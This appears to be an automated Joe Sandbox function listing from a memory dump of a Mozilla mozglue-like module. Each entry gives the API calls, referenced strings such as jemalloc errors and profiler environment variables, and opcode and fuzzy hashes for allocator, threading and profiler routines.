Function 6CE0AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AD9D

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE01
GetLastError.KERNEL32(?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CE1E330,?,6CDCC059), ref: 6CE0AE3D

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: faf4d65076977e2d551d6fdb25725d8465967d66c7d2721e8fb76efc81752ce1
Instruction ID: 1264d66020cba40817e277e4b9b148677e84e2dcd9360730aab0f95bcbc1601b
Opcode Fuzzy Hash: faf4d65076977e2d551d6fdb25725d8465967d66c7d2721e8fb76efc81752ce1
Instruction Fuzzy Hash: 973132B2A402159FDB10DF758C44BABB7F8EF49624F15482DE85AD7700E734E855CBA0

Function 6CE05EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CE1DCA0,?,?,?,6CDDE8B5,00000000), ref: 6CE05F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CDDE8B5,00000000), ref: 6CE05F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CDDE8B5,00000000), ref: 6CE05F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CDDE8B5,00000000), ref: 6CE05F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CDDE8B5,00000000), ref: 6CE05FD6

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: c77a1601f4f0e0240a41d1dfe6259628a780900de3a8b43a87cb45c766164fba
Instruction ID: 27601a7decbca584032af4f2b6b4cba45886795f05547829efe168a375eafe63
Opcode Fuzzy Hash: c77a1601f4f0e0240a41d1dfe6259628a780900de3a8b43a87cb45c766164fba
Instruction Fuzzy Hash: 18312C343016008FD710CF29C899E6ABBF6FF89319BA48958F5568B795CB39EC51CB84

Function 6CDAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CDAB532
moz_xmalloc.MOZGLUE(?), ref: 6CDAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CDAB57E
free.MOZGLUE(00000000), ref: 6CDAB58F

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: a9a8ad5b112061416d94f64d63619a3c9dc1cb9ad172cf69f19b2f754c95efcc
Instruction ID: 2f7869e4bba6e07dafe6ee114abb90d05b9ef2b1722364c3c11befdacbc27a22
Opcode Fuzzy Hash: a9a8ad5b112061416d94f64d63619a3c9dc1cb9ad172cf69f19b2f754c95efcc
Instruction Fuzzy Hash: 3221EA71A00209EBDB008FA5CC40BAABBB9FF46314F244129E918DB391E775D912C7A1

Function 6CDAB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6CDAB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CDAB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6CDAB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDAB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CDAB849

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5c52c849867548525ed499cfd3df6a145e0f729407bd26b102e472f0024041e7
Instruction ID: a3deb49708eb4b1b141ef64f10c66efcd0723db12dc3d9391f30dc1193c13882
Opcode Fuzzy Hash: 5c52c849867548525ed499cfd3df6a145e0f729407bd26b102e472f0024041e7
Instruction Fuzzy Hash: 21215CB0E002099FDF04DFA9C885AFEBBB4EF49314F148129ED45A7341E735A945CBA1

Function 6CE06E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CE06E78

Part of subcall function 6CE06A10: InitializeCriticalSection.KERNEL32(6CE2F618), ref: 6CE06A68
Part of subcall function 6CE06A10: GetCurrentProcess.KERNEL32 ref: 6CE06A7D
Part of subcall function 6CE06A10: GetCurrentProcess.KERNEL32 ref: 6CE06AA1
Part of subcall function 6CE06A10: EnterCriticalSection.KERNEL32(6CE2F618), ref: 6CE06AAE
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CE06AE1
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CE06B15
Part of subcall function 6CE06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CE06B65
Part of subcall function 6CE06A10: LeaveCriticalSection.KERNEL32(6CE2F618,?,?), ref: 6CE06B83

MozFormatCodeAddress.MOZGLUE ref: 6CE06EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CE06EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CE06EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CE06EFF

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 3d6e11f64b1ccd3cec5e1cda4e8f3df02133ccf405fb03102a3f04abe0eea42b
Instruction ID: 3938a6c9245ed017c45caff6f0071189ee7590b90ee11c203bea68894a49e1fe
Opcode Fuzzy Hash: 3d6e11f64b1ccd3cec5e1cda4e8f3df02133ccf405fb03102a3f04abe0eea42b
Instruction Fuzzy Hash: 1221A171E0421A9FDB10CF69D885ADA77F9FF84308F144439E80997341EB749A998F92

Function 6CE076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CE076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CE07705

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE07717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CE0778F,00000000,00000000,00000000,00000000), ref: 6CE07731
free.MOZGLUE(00000000), ref: 6CE07760

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 353fbe49f10b120ac5685fdc166153146b8857339cd4181e03d8335d2ae42418
Instruction ID: 05c7dad672203af3e3a97e42450bf6e780e00ba91d4f39c8c0a09a89037aa75b
Opcode Fuzzy Hash: 353fbe49f10b120ac5685fdc166153146b8857339cd4181e03d8335d2ae42418
Instruction Fuzzy Hash: E31190B1A053156BE720AF668C44BABBEF8EF46295F144429E848A7300E771885087F2

Function 6CDE0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CDA3DEF), ref: 6CDE0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CDA3DEF), ref: 6CDE0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CDA3DEF), ref: 6CDE0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CDE0D97, 6CDE0DBE
<jemalloc>, xrefs: 6CDE0D92, 6CDE0DB9

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: ccdb2cd89bdbb8fc1e688168926382e4afa7954805f2cb3523f23db60b091f42
Instruction ID: da315a327b4245f04718eef35f9cf28f13a6f0ca1bcae5e00356b0613cbe881c
Opcode Fuzzy Hash: ccdb2cd89bdbb8fc1e688168926382e4afa7954805f2cb3523f23db60b091f42
Instruction Fuzzy Hash: 90F0BE2178039862E62413A64C0BB5A767DA7CABA4F344026F245DAD90DE98F800E7A5

Function 6CDF7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CDF75C4,?), ref: 6CDF762B

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7644
GetCurrentThreadId.KERNEL32 ref: 6CDF765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CDF74D7,6CE015FC,?,?,?), ref: 6CDF7677

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 32cca45d566c340b575fc3b1ff48ef3744cd0db07ed327675640c430cf512ad9
Instruction ID: 5586f08f59aa077573702a04cd26fdc0140aacc1a950259d65fc37e0779436dd
Opcode Fuzzy Hash: 32cca45d566c340b575fc3b1ff48ef3744cd0db07ed327675640c430cf512ad9
Instruction Fuzzy Hash: 24F0C271E10749ABD7008F21C888776B778FFEB259F214316F90697601E7B4A5D08BD0

Function 6CE01700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CE01800

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

Strings

name, xrefs: 6CE01939
{marker.name} - {marker.data.name}, xrefs: 6CE018C7
Details, xrefs: 6CE01925

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 51c5acb77ea7c6019f5743b07143787a4693f9aca42cd71846a19d231768a2b2
Instruction ID: b43e8baf2b50abb4b41c66612f3614a1b01e24a423e1bc6b146766a38a576e11
Opcode Fuzzy Hash: 51c5acb77ea7c6019f5743b07143787a4693f9aca42cd71846a19d231768a2b2
Instruction Fuzzy Hash: 55710470A007469FC704CFA8D440BAABBB2FF45304F54466DD8154BB41DB78EAA9CBE2

Function 6CE0B0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010,00000000,?,?,6CE0AB1F), ref: 6CE0B1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010,00000000,?), ref: 6CE0B1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6CE0B0A6,6CE0B0A6,?,6CE0AF67,?,00000010,?,6CE0AF67,?,00000010), ref: 6CE0B25F

Strings

map/set<T> too long, xrefs: 6CE0B1FA

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: bdaf76e2ffeb9457bc9cf5b82f5999864e20b9ba9c37be1af16b0203cfcca132
Instruction ID: eb48b19aaf22722efe839f98346cb6202486f825abd32b4c049e7097f1e7e32c
Opcode Fuzzy Hash: bdaf76e2ffeb9457bc9cf5b82f5999864e20b9ba9c37be1af16b0203cfcca132
Instruction Fuzzy Hash: 86614775B042459FD701CF19C880A9ABBF1BF4A318F28C5A9D8599BB52C331EC56CBA1

Function 6CDCD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

EnterCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD4F2
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD50B

Part of subcall function 6CDACFE0: EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDACFF6
Part of subcall function 6CDACFE0: LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD52E
EnterCriticalSection.KERNEL32(6CE2E7DC), ref: 6CDCD690
LeaveCriticalSection.KERNEL32(6CE2E784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CDDD1C5), ref: 6CDCD751

Strings

MOZ_CRASH(), xrefs: 6CDCD4BB

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 23368f208c338ea4b32e9e52298f0c7bec55dcb976cae466836223da521474d2
Instruction ID: 7e952102575b31083fc1cbe13d8310bd61b5a0edce60108b094a1d3d0c1767d1
Opcode Fuzzy Hash: 23368f208c338ea4b32e9e52298f0c7bec55dcb976cae466836223da521474d2
Instruction Fuzzy Hash: AF51E171B44B158FD318CF28C49071AB7F5EB89314F254A2ED5AAC7B94D778E800CB92

Function 6CDF4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDF4721

Strings

-%llu, xrefs: 6CDF4733
profiler-paused, xrefs: 6CDF46E4
., xrefs: 6CDF476A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 986f57aec97aa0f67d42852fb991fcb22f817b549bb5ea288794b9e7e31809e1
Instruction ID: 82e646199cefecf2c4a273bff4c62732178aa6470b7529fb967ea7a31a173708
Opcode Fuzzy Hash: 986f57aec97aa0f67d42852fb991fcb22f817b549bb5ea288794b9e7e31809e1
Instruction Fuzzy Hash: 51418A71E047089BCB08DF78E94219EBBF5FF85344F11863DE865A7BA1EB3498058791

Function 6CDF46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CDF4721

Part of subcall function 6CDA4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CDE3EBD,00000017,?,00000000,?,6CDE3EBD,?,?,6CDA42D2), ref: 6CDA4444

Strings

-%llu, xrefs: 6CDF4733
profiler-paused, xrefs: 6CDF46E4
., xrefs: 6CDF476A

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 454000c69bbfded1fc7c9202072f10f48a580c6d1f44bd73f47a9f72ea702f9a
Instruction ID: 78e0136cb4e1663343390019a6d7cacaa09f632efc697bc103a3b2cd0ec0984e
Opcode Fuzzy Hash: 454000c69bbfded1fc7c9202072f10f48a580c6d1f44bd73f47a9f72ea702f9a
Instruction Fuzzy Hash: 6E317E71F042089BCB0CDF6CD98169DBBF6EB88314F16413DE8159BB50EB74D9058B90

Function 6CDFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CDE3EBD,6CDE3EBD,00000000), ref: 6CDA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CDFB127), ref: 6CDFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CDFB4E4

Strings

pid:, xrefs: 6CDFB4DE

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 99ad8ab1cd7e0aa2ee11d741ad703bb14b84777984acf26becae3a417638904d
Instruction ID: be3472a7c7fb6372ecd3090c82c333f07a75aca53c12d3db83439f1c57927a86
Opcode Fuzzy Hash: 99ad8ab1cd7e0aa2ee11d741ad703bb14b84777984acf26becae3a417638904d
Instruction Fuzzy Hash: D6312571A01208EFDB00DFA9D980AEEB7B5FF04308F55052DD8A167B91D735E94ACBA1

Function 6CDBBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6CE07A3F), ref: 6CDBBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6CE07A3F), ref: 6CDBBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6CE07A3F), ref: 6CDBBF7E

Strings

l, xrefs: 6CDBBF84

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: l
API String ID: 4279176481-1057362689
Opcode ID: ab06d07f7f598fe67facc49ce798122a8a611a3addaf3cbb916df7c4fa0349dd
Instruction ID: 294b72ff1747672e818b0fa5e8953c161f1c5a5ecd6a52573cc03b3c25005c82
Opcode Fuzzy Hash: ab06d07f7f598fe67facc49ce798122a8a611a3addaf3cbb916df7c4fa0349dd
Instruction Fuzzy Hash: 09119F79605A048FD729CF1CD599A66FBF8FB59304355885DE98A8BB50C731E804CB90

Function 6CDEE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDEE577
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEE584
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CDEE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CDEE826, 6CDEE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CDEE655
